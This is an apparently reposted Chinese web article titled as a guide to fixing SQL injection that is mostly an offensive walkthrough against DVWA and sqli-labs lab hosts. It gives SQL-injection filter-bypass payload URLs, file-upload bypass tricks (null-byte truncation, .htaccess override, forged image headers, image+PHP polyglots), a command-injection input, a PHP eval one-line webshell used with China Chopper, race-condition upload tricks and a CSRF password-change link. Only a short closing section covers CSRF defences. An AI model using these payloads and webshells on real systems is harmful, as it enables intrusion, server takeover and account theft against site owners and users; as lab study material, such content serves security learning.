返回顶部
首页 > 资讯 > 数据库 >如何解决SQL注入的安全问题
  • 469
分享到

如何解决SQL注入的安全问题

2024-04-02 19:04:59 469人浏览 薄情痞子
摘要

这篇文章主要为大家展示了“如何解决sql注入的安全问题”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“如何解决SQL注入的安全问题”这篇文章吧。黑名单过滤技术1、

这篇文章主要为大家展示了“如何解决sql注入的安全问题”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“如何解决SQL注入的安全问题”这篇文章吧。

黑名单过滤技术

1、过滤sql关键字段
常见的关键字:and、or、uNIOn all select、引号、空格等等过滤
还有一些类似的技术不是过滤而是通过转义函数或者剥离非法关键字

绕过方法:

  1. 1、大小写变形(id=-1 Union sEleCt 1,2,3……)

  2. 2、编码:hex码、urlencode

  3. 3、注释 ‘/or/'

  4. 4、过滤替换 (and–&&、or–||)

  5. 5、截断

二、文件上传漏洞

我们在上网时经常会使用文件上传的功能,比如上传一个头像图片,上传一个文件,上传一个视频等等,我都知道这是一个正常的功能,但是大家有没有想过文件上传后,服务器是怎么处理或者解析这些文件的呢,如果服务器在处理这些上传文件的时候做的不够安全,就会导致安全事件的发生,比如: 上传WEB脚本文件让服务器执行

  1. (1)上传木马病毒文件诱导用户或者管理员下载

  2. (2)上传钓鱼文件

  3. (3)上传欺诈文件

文件上传漏洞核心

要使得文件上传攻击能够成功,一般需要满足两个要素:

  1. (1)包含webshell文件能够成功被上传到服务器上

  2. (2) 该文件能够被服务器解析或者我们能访问到该上传文件

实现核心—上传绕过技术

一般而言文件上传遇到的检测技术: +

  1. (1)客户端 javascript 检测 (通常为检测文件扩展名)

  2. (2)服务端 MIME 类型检测 (检测 Content-Type 内容)

  3. (3)服务端目录路径检测 (检测跟 path 参数相关的内容)

  4. (4)服务端文件扩展名检测 (检测跟文件 extension 相关的内容)

  5. (5)服务端文件内容检测 (检测内容是否合法或含有恶意代码)

如何解决SQL注入的安全问题

客户端检测绕过(javascript 检测)

这类检测通常在上传页面里含有专门检测文件上传的 javascript 代码最常见的就是检测扩展名是否合法,这类绕过很简单。
做法:制作webshell文件(比如shell.PHP)—>修改为合法扩展名(shell.png)—>burp拦截改为(shell.php) —>上传

服务端检测绕过(MIME 类型检测)

该检测是在服务器上进行,主要检查的是content-type类型值(白名单或者黑名单)。当然这个绕过也简单。
做法:制作webshell文件(比如shell.php,Content-Type: text/plain)—>burp拦截改为(sontent-Type: image/gif) —>上传

服务器检测绕过(目录路径检测)

该检测是在服务器上进行,一般就检测路径是否合法,但稍微特殊一点的都没有防御。 比如,shell.php.[\0].png [\0]、123.php0x00.png其中0x00是php、C语言的截断符,就是说服务器在读文件的时候读到shell.php碰到【\0】就截止了当做shell.php执行了。 类似还有post提交文件shell.php%00.png
注:绕过后台检测,就是给他想要的文件后缀名,然后截断真实的后缀

服务端检测绕过(文件扩展名检测)

顾名思义就是检查文件扩展名,一般通过白黑名单防御。

1、黑名单 比如扩展名不能包含 html、php、php3,php4,asp、exe、bat、jsp +文件名大小写绕过用像 AsP,pHp 之类的文件名绕过黑名单检测

  1. (1)名单列表绕过用黑名单里没有的名单进行攻击,比如黑名单里没有 asa 或 cer 之类

  2. (2)特殊文件名绕过 比如发送的 Http 包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式在 windows 系统里是不被允许的,所以需要在 burp 之类里进行修改,然后绕过验证后,会被 windows 系统自动去掉后面的点和空格,但要注意 Unix/linux 系统没有这个特性。

  3. (3)htaccess 文件攻击 配合名单列表绕过,上传一个自定义的.htaccess,就可以轻松绕过各种检测

  4. (4)解析调用/漏洞绕过这类漏洞直接配合上传一个代码注入过的非黑名单文件即可,再利用解析调用/漏洞

  5. (5)白名单检测

2、白名单相对来说比黑名单安全一些,但也不见得就绝对安全了

(1)0x00 截断绕过

用像 test.asp%00.jpg 的方式进行截断,属于白名单文件,再利用服务端代码的检测逻辑漏洞进行攻击,目前我只遇到过 asp 的程序有这种漏洞 + 解析调用/漏洞绕过这类漏洞直接配合上传一个代码注入过的白名单文件即可,再利用解析调用/漏洞

(2).htaccess 文件攻击

在 PHP manual 中提到了下面一段话 move_uploaded_file section, there is a warning which states ‘If the destination file already exists, it will be overwritten.' 如果 PHP 安全没配置好就可以通过 move_uploaded_file 函数把自己写的.htaccess 文件覆盖掉服务器上的这样就能任意定义解析名单了

服务端检测绕过(文件内容检测)

如果文件内容检测设置得比较严格,那么上传攻击将变得非常困难也可以说它是在代码层检测的最后一道关卡如果它被突破了,就算没有代码层的漏洞也给后面利用应用层的解析漏洞带来了机会。

(1)文件幻数头检查
主要是检测文件内容开始处的文件幻数,比如:要绕过 jpg Value = FF D8 FF E0 00 10 4A 46 49 46。 要绕过 gif 文件幻数检测 Value = 47 49 46 38 39 61 要绕过 png 文件幻数检测 Value = 89 50 4E 47

(2)文件相关信息检测

图像文件相关信息检测常用的就是 getimagesize()函数只需要把文件头部分伪造好就 ok 了,就是在幻数的基础上还加了一些文件信息有点像下面的结构

GIF89a

(...some binary data for image...)
 <?php phpinfo(); ?>
(... skipping the rest of binary data ...)

(3)文件加载检测

这个是最变态的检测了,一般是调用 api 或函数去进行文件加载测试常见的是图像渲染测试,再变态点的甚至是进行二次渲染,对渲染/加载测试的攻击方式是代码注入绕过对二次渲染的攻击方式是攻击文件加载器自身。

三、

1、(1)先将对应网址复制到下方,点击Load URL,然后点击Execute

如何解决SQL注入的安全问题

(2)构造闭合,得到数据库名–dvwa,然后按照之前的套路发现系统报错,报错信息如下


如何解决SQL注入的安全问题

系统自动加入了\符号,是构造的函数出现错误,这时我们应规避这种现象,使系统不为构造函数自动添加特殊符号,对上述这种情况,可以使用hex码将字符串dvwa转换为十六进制(变为0x……),这样将不会在构造函数中使用到单引号符号,此时系统将不再自动为构造函数添加特殊字符,破坏构造函数。

(3)同理,按照之前所使用的SQL语句,爆数据。

2、以Less-25为例

(1)

http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 1,2,database()--+	//根据回显构造闭合,爆出database()

(2)

http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 1,table_name,column_name from infoorrmation_schema.columns where table_name = table_name aAndnd table_schema = database()--+	//爆出表名table_name、列名column_name

(3)

http://192.168.122.130/sqli-labs-master/Less-25/?id=-1' union all select 3,2,id from emails--+	//爆出数据

小结:首先不断构造闭合输入,观察回显,发现系统过滤了“and”字符串,以及“+”(+ 相当于空格键)

如何解决SQL注入的安全问题

然后我们猜测使用大小写混合的and,或者交叉不连续出现and,或者使用其他字符代替and–如&&(主要目的是为了使用and),又或者使用hex码、urlencode转化的方法;同理,字符串“or”,或者在单词中出现的or(如infORMation)也可以使用上述的方法。关键在于绕过系统的过滤,达到一定的目的

3、以Less-26为例

and字符与Less-25相同的道理,过滤掉的空格可以使用 %20 --空格、或者TAB键的编码、或者换行键的编码

如何解决SQL注入的安全问题

4、以http://192.168.122.130/DVWA-1.9/vulnerabilities/exec/为例,界面如下,是一个可以ping的界面

如何解决SQL注入的安全问题

该界面存在漏洞即可以使用连接符号在ping的同时完成其他动作,当在输入栏输入127.0.0.1 || pwd,出现情况如下

如何解决SQL注入的安全问题

发现界面中出现了当前文件目录,然后我们可以利用此漏洞获取一些想得到的数据
在此提及“一句话木马”

echo '<?php @eval($_POST[123]);?>' > 123.php

[有时为了不让受害人发现,常把其他形式的语句与“一句话木马”连用

 <?php fputs(fopen("345.php","w")),<?php @eval($_POST[1234]);?>' >1234.php

四、结合File Inclusion与File Upload实现攻击

(1)在http://192.168.122.130/DVWA-1.9/security.php下选择DVWA security为Low
然后File Upload上传一个带有一句话木马的.php文件,然后通过已知的目录,将信息添加到中国菜刀,获取所有目录—此时可以实现对文件的篡改、删除、上传等操作(有时可以通过重命名文件名来达到绕过的目的:123.png0x00.php —此处0x00代表命名结束)

如何解决SQL注入的安全问题

使用中国菜刀,进行下图所示的添加—针对 echo ‘<?php @eval($_POST[123]);?>' > 123.php

如何解决SQL注入的安全问题

然后就可以通过中国菜刀获取目录如下:

如何解决SQL注入的安全问题

(2)在http://192.168.122.130/DVWA-1.9/security.php下选择DVWA security为Medium
此时上传.php文件会回显错误,无法上传,所以我们将木马文件格式改为支持上传的格式,png格式的文件中有一句话木马—此处以png格式为例

如何解决SQL注入的安全问题

手动设置浏览器代理


如何解决SQL注入的安全问题

启动BurpLoader,进行抓包改名处理!


如何解决SQL注入的安全问题

然后Action->Send to Repeater,然后在Repeater中点击Go,观察右边窗口,发现文件已经上传,打开中国菜刀,按照之前的步骤访问即可。

如何解决SQL注入的安全问题

(3)在http://192.168.122.130/DVWA-1.9/security.php下选择DVWA security为High

如何解决SQL注入的安全问题

首先看到图片已经上传,那么上传的图片一定是已经经过处理的(加入了一句话木马),就是打开图片编码工具winhex,在编码工具中加入一句话木马,重新生成一个新的编码后的图片。

如何解决SQL注入的安全问题

当然也可以使用cmd命令:copy 1.png/b+123.php /a tcp.png。此处1.png为正常图片,123.php为一句话木马,将他们重新合成新的图片取名为TCP.png,然后上传,即可成功(上面使用的是cmd)。

如何解决SQL注入的安全问题

图片上传完成后,不能像Medium等级那样进行抓包改名处理。应该是web服务器端还有相应的安全性处理。
此时需要我们手动触发(当然也可以等待被攻击系统管理员点击图片触发)。触发之后我们就可以使用同样的方式,打开中国菜刀,进行目录的获取。

五、对于一些变态等级的处理思路:

compare,观察上传前与上传后哪些地方没有变(通过二异性),然后对上传数据做出一定的修改,从而达到一定目的。
一些其他的攻击方法:

  1. 1、以http://192.168.122.130/DVWA-1.9/vulnerabilities/upload/为例,在图片中写入触发指令,当管理员敲某命令时执行该图片,执行图片中包含的代码,即预埋一个常用的触发指令!

  2. 2、找到要攻击的系统默认存储临时文件的具体位置,然后改变文件的内容(比如说在文件中加入包含一句话木马的可执行文件等),达到预期的效果

  3. 3、对于会为上传文件自动修改文件名的系统,会使我们无法执行我们上传的非可执行文件,此时我们可以这样:因为设备处理文件是有一定限度的,可以每秒钟高频传输同一文件,使其后台来不及修改其中一两个文件的文件名,使之出现文件名不会被修改的情况,然后我们如果可以访问到该文件,执行即可进行攻击!

六、CSRF:Cross site Request Forgery跨栈请求伪造(利用cookie值)

构造一个URL,诱导受害人点击链接,从而利用受害人的cookie来实现受害人在自己不知道的情况下修改密码

http://192.168.122.130/DVWA-1.9/vulnerabilities/csrf/?passWord_new=1234&password_conf=1234&Change=Change#

举例:比如说黑客使用自己的账号密码登录某网站,然后点到修改密码界面,构造一个修改密码的URL,当黑客想进行攻击时就诱导某受害人(该受害人之前使用浏览器登录网站时,浏览器中存有cookie)点击之前构造好的URL,然后在受害人不知道的情况下修改密码,此密码黑客知道,此时若攻击成功,黑客就能使用之前构造URL时构造的密码以受害人的身份登录网站,进行一系列操作!

当下的一些防御手段:

1、可以使用验证码进行防御

2、需要原始密码才能修改密码的网站

3、防御手法:no-referrer-when-downgrade

从一个网站链接到另外一个网站会产生新的http请求,referrer是http请求中表示来源的字段。
no-referrer-when-downgrade表示从https协议降为http协议时不发送referrer给跳转网站的服务器

如何解决SQL注入的安全问题

4、防伪机制token,不同于cookie,可以堵住绝大多数CSRF攻击(人手一个防伪码,别人猜不出来,如果自己要改密码,必须自己使用自己的token才能成功)—token需要无规律、最好是加密。

以上是“如何解决SQL注入的安全问题”这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注编程网数据库频道!

您可能感兴趣的文档:

--结束END--

本文标题: 如何解决SQL注入的安全问题

本文链接: https://lsjlt.com/news/57546.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • 如何解决SQL注入的安全问题
    这篇文章主要为大家展示了“如何解决SQL注入的安全问题”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“如何解决SQL注入的安全问题”这篇文章吧。黑名单过滤技术1、...
    99+
    2024-04-02
  • 如何解决SQL注入漏洞问题
    本篇内容介绍了“如何解决SQL注入漏洞问题”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!前言最近我在整理安...
    99+
    2024-04-02
  • 如何彻底解决sql注入问题
    彻底解决sql注入问题的方法:采用PreparedStatement进行预编译,sql语句在执行的过程中效率比Statement要高,例如:String sql = "select* from users wher...
    99+
    2024-04-02
  • 模糊查询如何解决sql语句注入问题
    模糊查询解决sql语句注入问题的示例:使用mysql中concat函数可以解决sql注入又能够在位置文件中写%,代码如下:<select id = "selectByName"...
    99+
    2024-04-02
  • SQL注入的问题
    首先,SQL语句应该考虑哪些安全性?   第一,防止SQL注入,对特殊字符进行过滤、转义或者使用预编译的SQL语句绑定变量。   第二,当SQL语句运行出错时,不要把数据库返回的错误信息全部显示给用户,以防止泄露服务器和数据库相关...
    99+
    2016-02-07
    SQL注入的问题
  • pymysql解决sql注入问题的示例分析
    这篇文章将为大家详细讲解有关pymysql解决sql注入问题的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。1. SQL 注入SQL 注入是非常常见的一种网络攻击...
    99+
    2024-04-02
  • 如何实现sql防注入问题
    sql防注入的实现方法:设置目录权限,系统管理员应为信息系统的每个目录或文件设置相应权限,授予每个文件能正常运行的权限,比如静态页面文件所在的目录,应只授予“读取”权限,包含活动脚本的文件授予“纯脚本”权限就足够了。隐藏错误信息,把服务器设...
    99+
    2024-04-02
  • mybatis使用${}时sql注入的问题怎么解决
    这篇文章给大家介绍mybatis使用${}时sql注入的问题怎么解决,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。mybatis使用${}时sql注入的问题最近在上线项目的时候,代码审查没有通过,提示有sql注入的风险...
    99+
    2023-06-22
  • linux内核的安全问题如何解决
    要解决Linux内核的安全问题,可以采取以下措施:1. 及时更新:及时更新Linux内核版本,以获取最新的安全补丁和修复程序。2. ...
    99+
    2023-10-18
    linux
  • thinkPHP3.2.3中sql注入漏洞问题怎么解决
    这篇文章主要介绍“thinkPHP3.2.3中sql注入漏洞问题怎么解决”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“thinkPHP3.2.3中sql注入漏洞问题怎么解决”文章能帮助大家解决问题。...
    99+
    2023-06-30
  • 怎么使用prepared statement解决SQL注入问题
    使用prepared statement可以有效地防止SQL注入问题。下面是使用prepared statement的一般步骤:1....
    99+
    2023-08-08
    SQL
  • tp是如何解决sql注入的
    tp解决sql注入的方法:系统底层对于数据安全方面本身进行了相应的防范机制,例如:$User = M("User"); // 实例化User对象$User->find($_GET["id"]);查询条件进行预处理,where方法使...
    99+
    2024-04-02
  • @Autowired注入空指针问题如何解决
    这篇文章主要介绍了@Autowired注入空指针问题如何解决的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇@Autowired注入空指针问题如何解决文章都会有所收获,下面我们一起来看看吧。我就写出了下面这样的代...
    99+
    2023-06-29
  • 如何解决Flex安全沙箱问题
    这篇文章主要为大家展示了“如何解决Flex安全沙箱问题”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“如何解决Flex安全沙箱问题”这篇文章吧。Flex安全沙箱问题的解决关于Flex安全沙箱问题的...
    99+
    2023-06-17
  • Flex如何解决安全沙箱问题
    这篇文章将为大家详细讲解有关Flex如何解决安全沙箱问题,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。跨域文件读取方法一:在目标服务器上布署crossdomain.xml文件(我用的此方法很管用,放上就没...
    99+
    2023-06-17
  • 云主机安全问题如何解决
    云主机安全问题可以通过以下方法来解决:1. 强化访问控制:设置严格的访问权限,使用复杂的密码,并定期更换密码。可以使用多因素身份验证...
    99+
    2023-09-20
    云主机
  • PHP中的SQL注入问题
    在现代互联网应用的开发中,使用PHP开发应用是非常流行的一个选择。但是,PHP中的SQL注入问题一直是开发者们需要关注和解决的一个重要问题。SQL注入的定义是指通过在应用程序中输入恶意的SQL代码来篡改、插入或删除数据库中的数据,从而导致应...
    99+
    2023-05-24
    sql注入 PHP安全 数据过滤
  • 如何解决navicat导入sql报错1265的问题
    这篇文章将为大家详细讲解有关如何解决navicat导入sql报错1265的问题,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。在使用MySQL写数据库表格的时候,出现崩溃。...
    99+
    2024-04-02
  • 如何解决SpringBoot 加入AOP后无法注入的问题
    SpringBoot 开启AOP后 出现无法注入的问题 真是坑的很啊~ 提示错误 org.springframework.beans.factory.NoSuchBeanDefin...
    99+
    2024-04-02
  • 如何解决Spring自动注入失败的问题
    小编给大家分享一下如何解决Spring自动注入失败的问题,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!Spring自动注入失败如何解决?我有一个被Spring @...
    99+
    2023-06-15
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作